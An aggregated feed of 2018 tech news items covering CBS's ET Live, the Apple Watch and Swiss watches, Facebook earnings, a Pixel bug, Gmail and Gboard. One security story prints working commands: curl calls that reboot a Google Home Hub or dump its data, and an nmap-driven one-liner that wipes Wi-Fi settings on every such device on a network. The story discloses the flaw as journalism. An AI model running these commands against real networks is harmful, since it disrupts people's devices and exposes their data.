CBS launches a streaming entertainment network, ET Live

CBS is today launching another streaming network, this time focused on entertainment news. The service, which is called ET Live, was developed by CBS Interactive and CBS TV’s “Entertainment Tonight” news magazine, and will be available both as a standalone app as well as a part of the CBS streaming app aimed at cord cutters, CBS All Access.

The new service will deliver 24/7 coverage of entertainment news, including breaking news, celebrity interviews, features, behind-the-scenes, red carpet coverage, plus trends stories across celebrity fashion, beauty and lifestyle.

The content isn’t just a rehash of the “Entertainment Tonight” on-air broadcast, the network claims. Instead, it will feature original programming and a roster of new hosts, including Lauren Zima, Denny Directo, Cassie DiLaura, Tanner Thomason, Jason Carter and Melicia Johnson.

The flagship show’s current hosts – Nancy O’Dell, Kevin Frazier, Nischelle Turner and Keltie Knight – will make regular appearances, however, to promote what’s up next and other exclusives.

At launch, the service is available on its own website at ETLive.com and through an ET Live app on iOS, Android, Apple TV, and Amazon Fire TV, with more platforms expected in the future.

It’s also being integrated into CBS All Access’s live feed across platforms, and as feed within CBSN, the network’s 24/7 streaming news service.

The new streaming network is the latest of several launches aimed at bringing more CBS content to a new generation of viewers who no longer tune in to traditional pay TV.

A few months ago, CBS debuted a portfolio of streaming services under the brand CBS Local. These help deliver local news to cord cutters and other digital media consumers, including its CBS All Access subscribers. It also operates news network CBSN, which it added to CBS All Access last year. And it launched streaming sports news service, CBS Sports HQ, earlier this year. This can now also be found in CBS All Access.

Like CBSN, CBS Sports HQ, and your local CBS News (where available), the new ET Live feed is available in the “Live” section of the CBS All Access app. Users can toggle between the various live streams with a tap, then can choose to watch live or jump back to watch previous segments on-demand.

ET’s brand made sense to be the next to transition to reach over-the-top viewers because of its existing reach, including on digital platforms. The TV show has nearly 5 million daily viewers, while the ETonline.com website averages 20 million monthly U.S. uniques, per comScore. Its social audience is even larger, with over 70 million U.S. users monthly, the network says.

“From CBS All Access to CBSN and CBS Sports HQ, we are dedicated to bringing consumers best-in-class streaming services,” said Rob Gelick, Executive Vice President and General Manager, CBS Entertainment Digital for CBS Interactive, in a statement about the launch.

“ET Live is a natural expansion of our strategy and expertise in this area. We have the great advantage of being able to apply key learnings from our leading digital entertainment properties and marry that with the #1 entertainment brand in ‘Entertainment Tonight’ to create a new offering for the next generation of entertainment consumers, those that are platform-agnostic and expect content to be accessible anytime, anywhere,” he said.

Source: TechCrunch http://j.mp/2qhLxTM

How the Apple Watch changed the world

In 2015 Switzerland was fucked. This blunt belief, grunted out by Apple’s Jony Ive and repeated by the media as a death knell for the watch industry, seemed to define a sad truth: that the Swiss watch was dead and Apple pulled the trigger.

Now, three years and four Apple Watches later, was Ive right? Did Apple change the world? And, most importantly, did Switzerland survive?

Yes, but…

As you might have noticed the Swiss watch industry is still standing. The major Swiss houses – LVMH, Richemont, and Swatch Group – are seeing a major uptick in sales, especially in the US. According to the Federation of the Swiss Watch Industry, sales are up 5.5% year-over-year, a bit of news that was, amusingly, almost buried by the onslaught of Apple Watch Series 4 reviews.

This increase of US sales bucked a major trend this year and one market insider, who preferred to remained anonymous, noted that all of his sales contacts are seeing increased sales in the $3,000 and above watch category. While the low-cost fashion watches were, as he said, “decimated,” the luxury market is growing. But why?

According to Swatch Group, Swiss watch exports rose 4.8 percent compared with last year and, according to a Reuters report, “first-quarter watch exports rose 10.1 percent, the highest quarterly growth rate since mid-2012, according to figures from the Federation of the Swiss Watch Industry.”

“You know we saw an end of the year that was very strong – double-digit growth – and now it continues, so every month is a record month for us,” Swatch Group CEO Nick Hayek told CNBC. In short, the industry is back from an all-time low after the recession.

Watch analysts believe that Apple created a halo effect. Of the millions of people who bought and wore an Apple Watch, a majority had never worn or thought about wearing a watch. Once they tried the Apple Watch, however, and outfitted it with leather bands, fancy Milanese loops, and outfit-matching colors the attitude changed. If wearing watches is so fun and expressive, why not try other, more storied pieces? The numbers are hard to find (watchmakers are notoriously secretive) but I’ve found that my own watch obsessives site, WristWatchReview, saw a solid uptick in traffic in 2015, one that continued, for the most part, into 2018. One year, 2017, was considerably lower because my server was failing almost constantly.

What does this mean for the watch? First, it means that, like vinyl, a new group of obsessives are taking up the collector’s mantle after discovering the implicit value of more modern forms of the same thing. An Apple Watch is a gateway drug to a Tissot which is a gateway drug to a classic tropical Rolex Submariner on a signed band just as your first Radiohead MP3 leads to buying a turntable, an amp, a Grado cartridge, and a pressing of Moon Shaped Pool.

“In high school I wore a pebble for a while,” said Brady, a 20-year-old college sophomore I spoke to. “As an easily-distracted high school student, even though this wearable was very primitive tech, it consumed a lot of my attention when it wasn’t appropriate to be on my phone – which meant also not appropriate to be on my watch. I then shifted to Nixon quartz ‘fashion watches ‘and i was happy knowing they kept good reliable time. Then I got a Seiko SNK805 automatic. I don’t have a single non-mechanical watch due to my respect for the craftsmanship!”

Wearables are changing, as well, pushing regular watches back into the spotlight. As Jon Speer, VP at Greenlight.Guru, most wearables won’t look like watches in the next few years.

“I predict the next generation of wearables to blur the lines between tech accessory and medical device. These ‘devices’ will include capabilities such as measuring blood pressure, blood sugar, body temperature and more,” he said. “The FDA is working closely with industry partners to identify common roadblocks to innovation. The De Novo Program, the classification Apple pursued for the Apple Watch, is the category for medical devices that don’t fall within an existing classification. As we blend medical technology with consumer technology, I foresee the De Novo program being utilized by companies such as Fitbit and Garmin. As a consumer, I’m very excited for the potential and advancements.”

Thus the habit of wearing watch might stick even as the originators of that habit – a little square of steel and glass strapped to your wrist – disappears.

Could it all be a mirage?

The new Apple Watch is very positively reviewed and Android Wear – as evidenced by companies like Montblanc selling very capable and fashion-forward smartwatches – is still a force to be reckoned with. Further, not everyone falls back into watch wearing after trying out the thing Jony Ive said would fuck Switzerland.

Watches are an acquired taste like craft beers, artisanal teas, and other Pinterest-ready pursuits. Sometimes simply strapping one to your wrist isn’t enough.

“I got the first gen Apple Watch,” said entrepreneur David Berkowitz. “I loved it, and then I stopped wearing it a bit. As I did, I lost the charger and never bothered replacing it. I haven’t worn it since and haven’t seriously considered getting a new one.”

“I’m just not that customer,” he said.

Source: TechCrunch http://j.mp/2Q9cOmF

It’s Kind of Brilliant How this Dual-Screen Smartphone Avoids the Notch

2018 may have been a pretty sedate year for phones, with many flagships including the Galaxy S9 and iPhone XS trotting out essentially the same design for a second tour of duty. But as we move closer to 2019, phones like the Oppo Find X and this wonderful, new dual-screen device suggest things could get a lot more…

Read more...

Source: Gizmodo http://j.mp/2ETKd3F

The Google Home Hub is deeply insecure

Security advocate Jerry Gamblin has posted a set of instructions – essentially basic lines of XML – that can easily pull important information off of the Google Home Hub and, in some cases, temporarily brick the device.

The Home Hub, which is essentially an Android tablet attached to a speaker, is designed to act as an in-room Google Assistant. This means it connects to Wi-Fi (and allows you to see open Wi-Fi access points near the device), receives video and photos from other devices (and broadcasts its pin), and accepts commands remotely (including a quick reboot via the command line).

The command – which consists of a simple URL call via the command line – is clearly part of the setup process. You can try this at home if you replace “hub” with the Home Hub’s local IP address.

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

I am not an IOT security expert, but I am pretty sure an unauthenticated curl statement should not be able to reboot the @madebygoogle home hub. pic.twitter.com/gCWFm5Ofyb

— Jerry Gamblin (@JGamblin) October 27, 2018

Other one-liners expose further data, including a number of micro services:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

Finally, this line causes all devices on your network to forget their Wi-Fi, forcing you to reenter the setup process.

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

As Gamblin notes, these holes aren’t showstoppers but they are very alarming. Allowing unauthenticated access to these services is lazy at best and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.

Again, nothing here is mission critical – no Home Hub will ever save my life – but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpa’s overcomplicated picture frame with a single line of code but tomorrow we may be able to reboot Grandpa’s oxygen concentrator.

Source: TechCrunch http://j.mp/2yIptGl

Zuckerberg says the future is sharing via 100B messages & 1B Stories/day

The News Feed won’t sustain Facebook forever, and that’s scaring investors. Today on Facebook’s earnings call, Mark Zuckerberg stressed that sharing is shifting to private chat, where people send 100 billion messages per day on Facebook’s family of apps, and Stories, where he says people share 1 billion of these slideshows per day (though it’s unclear if that includes third-party apps like Snapchat).

But that means Facebook will have to realign its business towards these mediums where monetization is more complex and it has less experience. The result of Zuckerberg’s comments was a reversal of Facebook’s initial 2 percent share price gain after earnings were announced, dragging it down to a 3.5 percent loss in after-hours trading. That was only reversed when Zuckerberg said Facebook would reduce limits on video advertising.

Facebook’s year-over-year revenue growth has already slowed from 59 percent in Q3 2016, to 49 percent a year ago, to 33 percent now as it hits saturation in developed markets and runs out of News Feed space. Now it will both have to deal with the sharing medium shift, and that the new users it’s adding in the Asia-Pacific and Rest Of World regions earn it 10X less than users in North America.

In messaging, Zuckerberg says more photos and links are shared privately than through Feeds. He sees Facebook’s position as strong, saying “we’re leading in most countries” due to the success of WhatsApp and people’s love of its end-to-end encrypted privacy. But that’s mostly in the developing world Android market where people choose their own default messaging app. In the US and other developed nations where iPhones are popular and ared “bundled” with iMessage, Zuckerberg says Apple “is still ahead”.

The “bundled” language harkens back to to antitrust lawsuits against Microsoft for bundling computers with Internet Explorer. With Apple CEO Tim Cook constantly harping on the poor privacy practices of ad-supported companies like Facebook, Zuckerberg might be gunning to draw regulator attention to iMessage.

Facebook is starting to more aggressively monetize Messenger through inbox ads, and its now selling enterprise tools to brands on both Facebook and WhatsApp that let them pay to ping users. But Facebook risks its chat apps seeming annoying or intrusive if it packs in too many ads or allows too much Message spam. Users could stray to status quos like iMessage and Android Messages if it puts monetization above the user experience.

On Stories, Zuckerberg says Facebook is doing even better. Over 1 billion people use its Stories features across Facebook, Messenger, Instagram, and WhatsApp each day, compared to 186 million daily users on Stories inventor Snapchat as a whole. Stories are where the majority of Facebook sharing growth is happening.

The problem is that creating attractive full-screen video ads is beyond the capability of the long-tail on small businesses that have fueled Facebook’s News Feed ad revenue. Users often rapidly skip through these ads, and Facebook currently doesn’t offer unskippable Stories ads like Snapchat. And many people don’t think to tap or swipe up to visit a link from a Story, or simply don’t want to lose their place in ways that didn’t happen on desktop or even mobile feed ads.

Across Facebook’s other products, Zuckerberg noted that 800 million people now use Marketplace, its Jobs feature have helped people find 1 million jobs, and its birthday fundraisers have raised $300 million alone this year. But it will be teaching advertisers how to effectively create message and Stories ads that will define whether Facebook’s revenue keeps growing.

Source: TechCrunch http://j.mp/2CSPp4T

Google Pixel 3 XL users are getting twice the notch, thanks to a bug

Over the past two years, the notch move from anomaly to fact of life, and no company has proven itself more pro-notch than Google. From its embrace of #notchlife in Android Pie to the downright gigantic one found up top on the Pixel 3 XL, Google’s really notchin’ it up.

In fact, as noted by Android Police the Pixel 3 XL has a notch so nice, Google’s delivering it twice. A number of owners have reported an (admittedly hilariously bug) that’s causing the massive headset to double up on the notch, with a second cutout appear on the side of the device.

So my Pixel randomly grew another notch today. https://t.co/c6Pff9MVmW pic.twitter.com/ugjfLmCkDZ

— UrAvgConsumer (@UrAvgConsumer) October 24, 2018

Google has acknowledge (acknotchleged?) the issue and noted that it’s working on a fix, which should be coming soon. The company hasn’t offered a reason behind the issue, but it appears to stem from Pie’s built-in notch feature, and likely has something to do with how the background adjusts when the handset changes from portrait to landscape mode.

It seems even in 2018, that’s a notch too far.

Source: TechCrunch http://j.mp/2SwKpso

Gmail’s iOS app gets a unified inbox

Gmail users on iOS are getting a notable upgrade today: a unified inbox. While Android users have had the option to see multiple inboxes in a single view, iOS users – until now – have had to switch accounts by tapping between them in the app’s navigation.

Many people today have more than one email account, often using one for work, another for personal, and one to give out more publicly – their “junk” inbox, so to speak. Some have multiple inboxes for multiple jobs or job roles. And some access a shared inbox along with others on a work team.

But moving among accounts has required a bit of tapping around, if you used Gmail on iOS.

With today’s iOS update, there’s instead the option to use the new “All Inboxes” view from the left-hand side drawer. This will show all your emails in a single list, Google says.

The option works with both G Suite and non-G Suite accounts, including third-party IMAP accounts, the company notes.

Though a unified inbox is a seemingly minor feature, it’s the sort of thing that has driven many Gmail iOS users to third-party apps, since Gmail itself was lacking. That may now change.

The feature is rolling out to Gmail and G Suite users over the next 15 days.

Source: TechCrunch http://j.mp/2RrMx3j

Google’s Gboard now lets you create a set of emoji that look like you

Last summer, Google introduced its own take on Bitmoji with the launch of “Mini” stickers in its keyboard app, Gboard, which leverage machine learning to create illustrated stickers based on your selfie. Today, Google is expanding the Mini Stickers with the launch of what it calls “Emoji Minis” – meaning, emoji-sized stickers that look like you.

Similar to the initial launch of Mini stickers, the new emoji are also created using machine learning techniques, Google says.

The company said the idea is to give people a way to use emoji they feel better represent who they really are.

“Emoji Minis are designed for those who may have stared into the eyes of emoji and not seen yourself staring back,” explained Google, in a blog post. “These sticker versions of the emoji you use every day are customizable so you can make them look just like you.”

That means your emoji can have differently colored hair – like green or blue or gray, for example – or piercings. It can be wearing a hat, head covering, or glasses.

Google says it uses neural networks to suggest skin tones, hairstyles, and accessories that you can then fine tune. You can choose a color for your hair, facial hair, or select different types of head covering and eyewear. You can also add freckles or wrinkles, if you want.

The result is a not just a single emoji, but a selection of options. For example, you can use your custom emoji as a zombie, mage, heart eyes, crying eyes, shruggie, and all the others.

This the third style of Mini stickers, first introduced last year. Already, these stickers come in two other styles – a more expressive “bold” and a nicer “sweet.”

While it may seem like a minor thing, creative emoji – and specifically, personalized emoji – can be a big draw for messaging apps. Apple advertises its clever Animoji and personalized Memoji as flagship features of its newer Face ID-powered phones. Snapchat bought Bitmoji (Bitstrips) to give its users access to more tools for creative expression. Samsung lets you make your own AR emoji that look like you. And people celebrated when the Unicode Consortium diversified to include more skin tones, and added, at long last, redheads.

Gboard, whose app has been downloaded over a billion times on Google Play, has a similar draw, thanks to its selfie-based stickers.

The company says the new Emoji Minis are available in all Gboard languages and countries, on both iOS and Android, starting today.

Source: TechCrunch http://j.mp/2qjox6V